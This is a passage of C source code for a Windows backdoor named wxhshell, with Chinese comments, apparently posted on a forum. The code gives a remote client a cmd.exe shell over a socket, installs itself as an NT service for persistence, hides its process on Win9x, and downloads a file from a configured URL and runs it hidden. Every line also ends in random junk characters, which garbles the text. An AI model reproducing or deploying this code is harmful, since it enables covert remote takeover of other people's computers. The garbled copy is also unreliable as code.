  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < c4RmnA  
  } |LGNoP}SA  
  else { p2_Zsq  
4~D>oNx4  
    switch(cmd[0]) { ?jM7C}  
  t>=y7n&q  
  // 帮助 1V9X(uP  
  case '?': { 2b&;Y/z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F~- S3p  
    break; e4_aKuA  
  } W3-Rs&se  
  // 安装 &oEq&  
  case 'i': { i:Ct6[  
    if(Install()) qt&"cw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JSZ j0_ B  
    else 5FR#_}k]_F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \?ws0Ax  
    break; X52jqXjg  
    } ;[\2/$-  
  // 卸载 Gw\HL  
  case 'r': { r.G/f{=<@  
    if(Uninstall()) KD3To%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :?XHZ  
    else dfk TDG+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #dm@%~B{.  
    break; +(k)1kCMn  
    } q,>F#A '  
  // 显示 wxhshell 所在路径  WD do{  
  case 'p': { X}QmeY[0I  
    char svExeFile[MAX_PATH]; (7#lN  
    strcpy(svExeFile,"\n\r"); q^+NhAMz  
      strcat(svExeFile,ExeFile); ~ M>zO#U6  
        send(wsh,svExeFile,strlen(svExeFile),0); qQR YHo>/e  
    break; [/,6O  
    } Rw^YTv  
  // 重启 jN[6JY1  
  case 'b': { g~["O!K3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9@EnmtR  
    if(Boot(REBOOT)) :/[ZgreN6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?ZVzKTb>}  
    else { Pds*M?&F  
    closesocket(wsh); 4qXUk:C@m  
    ExitThread(0); r[4F?W  
    } 9: |K]y  
    break; $YQ&\[pDA  
    } O]LuL&=s y  
  // 关机 S<9d^= a  
  case 'd': { l@F e(^5E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 78BuD[<X-  
    if(Boot(SHUTDOWN)) vl(v1[pU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-'GRme  
    else { |0!97* H5  
    closesocket(wsh); bQQ/7KM  
    ExitThread(0); `hf9rjy4  
    } \ ozy_s[  
    break; jmzvp6N$8  
    } m@2xC,@  
  // 获取shell Bw7:ry  
  case 's': { Id 7  
    CmdShell(wsh); C`<} nx1  
    closesocket(wsh); hLD;U J?S  
    ExitThread(0); q5?mP6   
    break; &rWJg6/  
  } eQIi}\`  
  // 退出 :DpK{$eCb  
  case 'x': { Ph_m'fbf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /;$ew~}  
    CloseIt(wsh); )Bvu[r Uy  
    break; >A "aOV>K  
    } &-Y:4.BXZ  
  // 离开 07Cuoqt2  
  case 'q': { ul&7hHp_u%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P(+ar#,G  
    closesocket(wsh); x=+I8Q4:  
    WSACleanup(); K'/x9.'%  
    exit(1); F5q1VEe  
    break; d>-EtWd  
        } z2zp c^i  
  } | N,nt@~  
  } kYa' ] m  
`8bp6}OD,  
  // 提示信息 xEWa<P#.u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /7)G"qG~F~  
} 7+-}8&s yu  
  } Rp9iX~A`e  
S60`'!y  
  return; 9h=WWu',  
} F RUt}*  
Dv{AZyqe  
// shell模块句柄 P#1y  
int CmdShell(SOCKET sock) ;.a)r  
{ 8rNxd=!  
STARTUPINFO si; b4PK  
ZeroMemory(&si,sizeof(si)); "n-xsAG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w2V E_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n_2 LkW<?  
PROCESS_INFORMATION ProcessInfo; 4rdrl  
char cmdline[]="cmd"; @V u[Tg}J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JPzPL\  
  return 0; .8~ x;P6  
} o>%W7@Pr  
sB!A:  
// 自身启动模式 u8=|{)yL  
int StartFromService(void) qT%E[qDS  
{  >S/>2e:  
typedef struct Bqgw%_  
{ %.Y`X(g6/  
  DWORD ExitStatus; O$^YUHD  
  DWORD PebBaseAddress; :9qB{rLi}  
  DWORD AffinityMask; k/Q]K e  
  DWORD BasePriority; >s~`K^zS  
  ULONG UniqueProcessId; h {btT  
  ULONG InheritedFromUniqueProcessId; 0CYI,V  
}   PROCESS_BASIC_INFORMATION; $OuA<-  
$a1.c;NE'  
PROCNTQSIP NtQueryInformationProcess; o LRio.u*  
BpE[9N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?2c:|FD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $5O&[/L  
>8- `  
  HANDLE             hProcess; >cLZP#^\2E  
  PROCESS_BASIC_INFORMATION pbi; Yuck]?#0  
7T78S&g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^2tCDm5  
  if(NULL == hInst ) return 0; ]~,'[gWb  
n$iz   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;pq4El_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Zkt2[E`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yr@@ty  
.kV/ 0!q?  
  if (!NtQueryInformationProcess) return 0; Rk^&ras_  
5#tvc4+)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #,C{?0!  
  if(!hProcess) return 0; 0KEl+  
fN;y\!q5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @wz7jzMi  
mmti3Y  
  CloseHandle(hProcess); yR-.OF,c  
I(|{/{P,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (>'d`^kjk  
if(hProcess==NULL) return 0; 6zSN?0c  
ZgtOy|?|  
HMODULE hMod; wu3ZSLY  
char procName[255]; >d |W>|8e  
unsigned long cbNeeded; K+H82$ #  
IFe[3mB5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 57rP@,vj  
0jq#,p=l;  
  CloseHandle(hProcess); HH+XEMP/g  
) Lv{  
if(strstr(procName,"services")) return 1; // 以服务启动 z841g `:C  
! >V 1zk  
  return 0; // 注册表启动 nLQJ~("  
} YjT #^AH  
B _ >|Mo/  
// 主模块 ?Eed#pb_  
int StartWxhshell(LPSTR lpCmdLine) )U?W+0[=  
{ F);C?SW"  
  SOCKET wsl; TzjZGs W[V  
BOOL val=TRUE; BL7%MvDQ  
  int port=0; wlJ_, wA  
  struct sockaddr_in door; l }[ 4  
X9>ujgK  
  if(wscfg.ws_autoins) Install(); Iq9+  
i?]!8Ji  
port=atoi(lpCmdLine); .,4&/cd  
j56Y,Tm  
if(port<=0) port=wscfg.ws_port; S<44{ oH  
=KMck=#B  
  WSADATA data; QLn5:&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -HOCxR  
*Z(qk`e.b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^gy(~u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8EQ;+V  
  door.sin_family = AF_INET; |2 Dlw]d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mdwY48b  
  door.sin_port = htons(port); 9%8T09I!  
W cnYD)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CwAl-o  
closesocket(wsl); H]-nm+  
return 1; _oWenF  
} Jx_4:G  
wI:oe`?H  
  if(listen(wsl,2) == INVALID_SOCKET) { @#p4QEQA  
closesocket(wsl); ;:cM^LJ  
return 1; d-4u*>  
} HO' HkVA  
  Wxhshell(wsl); 3WhJ,~o-y  
  WSACleanup(); 4o_1F).\D  
~96"^%D  
return 0; ezL*YM8?@  
5<61NnZ  
} _=rXaTp  
d 1z   
// 以NT服务方式启动 Ofn:<d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L^22,B 0  
{ Z@>>ZS1Do  
DWORD   status = 0; U6{ RHS[  
  DWORD   specificError = 0xfffffff; IBR;q[Dj}  
k,H4<")H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wvfCj6}S &  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N24+P5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]HRE-g  
  serviceStatus.dwWin32ExitCode     = 0; 0GB6.Ggft  
  serviceStatus.dwServiceSpecificExitCode = 0; $*tuv ?  
  serviceStatus.dwCheckPoint       = 0; H_ x35|"  
  serviceStatus.dwWaitHint       = 0; bF3j*bpO"  
uzsR*x%s-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s;A]GJ  
  if (hServiceStatusHandle==0) return; q.*qZ\;K  
\]^|IViIQ  
status = GetLastError(); ,y^By_1wS  
  if (status!=NO_ERROR) ,5q^/h  
{ t ;[Me0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t.m $|M>  
    serviceStatus.dwCheckPoint       = 0; ivt\| >  
    serviceStatus.dwWaitHint       = 0; !-: a`Vs+  
    serviceStatus.dwWin32ExitCode     = status; f+d{^-  
    serviceStatus.dwServiceSpecificExitCode = specificError; M 3^p,[9r#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &c A?|(7-  
    return; u*"tZ+|m  
  } yfV{2[8ux  
D}:D,s8UP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ros5]5=dP  
  serviceStatus.dwCheckPoint       = 0; :yv!  x  
  serviceStatus.dwWaitHint       = 0; JjM^\LwKkL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ! $n^Ze2 !  
} h~dM*yo;  
-WEiY  
// 处理NT服务事件,比如:启动、停止 1wwhTek  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lp4sO#>`  
{ E_$ ST3  
switch(fdwControl) BWd?a6nU}  
{ -cG?lEh <  
case SERVICE_CONTROL_STOP: B3K%V|;z )  
  serviceStatus.dwWin32ExitCode = 0; ]SK(cfA`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DK:d'zb  
  serviceStatus.dwCheckPoint   = 0; p/@z4TCNX  
  serviceStatus.dwWaitHint     = 0; {`-EX  
  { j&8U:Q,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }V`Fz',lZ  
  } X]`\NNx  
  return; 5^ pQ=Sgt  
case SERVICE_CONTROL_PAUSE: eK]GyY/Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z$2mVRS`c  
  break; )M1.>?b  
case SERVICE_CONTROL_CONTINUE: tEb2>+R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k/Cr ^J"  
  break; L[IjzxUv  
case SERVICE_CONTROL_INTERROGATE: m"u 9AOHk  
  break; _w)0r}{  
}; U; ev3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0ro)e~_@*  
} 3fpX  
GJ!usv u  
// 标准应用程序主函数 x< imMJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  d+=;sJ  
{ y![h  
NmK%k jCx  
// 获取操作系统版本 T_pE'U%[  
OsIsNt=GetOsVer(); 1298&C@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /K'Kx  
iPxSVH[  
  // 从命令行安装 KPKby?qQ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); dBCg$Rud&  
(/PD;R$b  
  // 下载执行文件 bvZmo zbD  
if(wscfg.ws_downexe) { }Dk_gom_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L{aT"Of{X  
  WinExec(wscfg.ws_filenam,SW_HIDE); }eBy p  
} 3&_(D)+  
g=a-zg9LX  
if(!OsIsNt) { ""TRLs!:M  
// 如果时win9x,隐藏进程并且设置为注册表启动 h%#@Xd>.  
HideProc(); )TG\P,H9  
StartWxhshell(lpCmdLine); {d=y9Jb^  
} V5R``T p  
else \\)3:1X  
  if(StartFromService()) 6VRVk7"  
  // 以服务方式启动 #uKHw2N  
  StartServiceCtrlDispatcher(DispatchTable); 4ajBMgD]KG  
else -j<m0XUQ  
  // 普通方式启动 3vDV   
  StartWxhshell(lpCmdLine); ;9d(GP}eE  
V.;0F%zks5  
return 0; `Q}.9s_ri  
}
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只看该作者 1 发表于: 2006-10-10
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